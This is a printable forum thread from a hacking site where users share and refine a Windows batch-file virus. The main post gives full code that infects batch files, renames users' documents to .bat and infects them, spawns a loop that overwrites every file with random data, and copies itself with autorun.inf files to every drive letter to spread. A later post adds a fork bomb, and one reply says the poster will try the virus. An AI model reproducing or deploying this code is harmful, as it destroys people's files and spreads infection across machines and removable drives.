Sinisterly
(Actual) Batch virus - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: (Actual) Batch virus (/Thread-Actual-Batch-virus)

Pages: 1 2


RE: (Real) batch virus. - ArkPhaze - 03-19-2013

Untested, but just trying to duplicate what you had...:
Code:
@echo off for %%G in (bat cmd) do ( for /f "tokens=*" %%H in ('dir *.%%G /b /s') do type %0 >> %%H ) for %%G in (txt rtf doc docx php ref css inf ini odt mak) do ( for /f "tokens=*" %%H in ('dir *.%%G /b /s') do move %%H %%H.bat & type %0 >> %%H.bat ) if exist virus.bat ( set a=malware.bat ) else ( set a=virus.bat ) :loop echo :loop > %a% echo for /f "tokens=*" %%%%a in ('dir *.* /b /s') do echo ^%rando^m%%r^andom%%ra^ndom%%rando^m%%r^andom% ^>^> %%%%a >> %a% & echo %ra^ndom%x^=^^^=S?S%r^andom% ^>^> %%%%f >> %a% echo goto loop >> %a% start %a% for %%G in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( if not exist %%G:\autorun.bat copy %0 %%G:\autorun.bat echo [autorun] > %%G:\autorun.inf echo open=autorun.bat >> %%G:\autorun.inf ) goto loop

You also have duplicate lines in here, lots of unnecessary code for no reason. Some lines served no purpose.


RE: (Real) batch virus. - noize - 03-19-2013

(03-19-2013, 07:05 AM)ArkPhaze Wrote: Untested, but just trying to duplicate what you had...:
Code:
@echo off for %%G in (bat cmd) do ( for /f "tokens=*" %%H in ('dir *.%%G /b /s') do type %0 >> %%H ) for %%G in (txt rtf doc docx php ref css inf ini odt mak) do ( for /f "tokens=*" %%H in ('dir *.%%G /b /s') do move %%H %%H.bat & type %0 >> %%H.bat ) if exist virus.bat ( set a=malware.bat ) else ( set a=virus.bat ) :loop echo :loop > %a% echo for /f "tokens=*" %%%%a in ('dir *.* /b /s') do echo ^%rando^m%%r^andom%%ra^ndom%%rando^m%%r^andom% ^>^> %%%%a >> %a% & echo %ra^ndom%x^=^^^=S?S%r^andom% ^>^> %%%%f >> %a% echo goto loop >> %a% start %a% for %%G in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( if not exist %%G:\autorun.bat copy %0 %%G:\autorun.bat echo [autorun] > %%G:\autorun.inf echo open=autorun.bat >> %%G:\autorun.inf ) goto loop

You also have duplicate lines in here, lots of unnecessary code for no reason. Some lines served no purpose.

You're right, this code is better. That was not a good piece of code mine.
Anyhow the duplicate lines (I thought you meant the copy to a, b, c... drives part) is to copy to drives immediately before it goes to the infect files part (as may take also long time). Of course, I could have done something like checking for a value before leaving copy-to-drive loop and set the value after the infect-files part, then go(back)to the copy-to-drive.
I didn't really spend much time on it.
Thanks for your contribute, that's a great way of doing it.


RE: (Real) batch virus. - ArkPhaze - 03-20-2013

You can move around the order in which you want to do things with my code, it's essentially just like moving the blocks of code you had before, but in less lines. Loops take care of a lot of things when you know what they can do for you in batch. Wink


RE: (Real) batch virus. - RA1N - 03-23-2013

just glad its not someone that saying:
Code:
@echo off :a start goto a



RE: (Real) batch virus. - RA1N - 03-23-2013

just glad its not someone that saying:
Code:
@echo off :a start goto a



RE: (Real) batch virus. - m3Lv3L - 03-23-2013

nice post .. i'll try this when i get time ..thank you Smile


RE: (Real) batch virus. - m3Lv3L - 03-23-2013

nice post .. i'll try this when i get time ..thank you Smile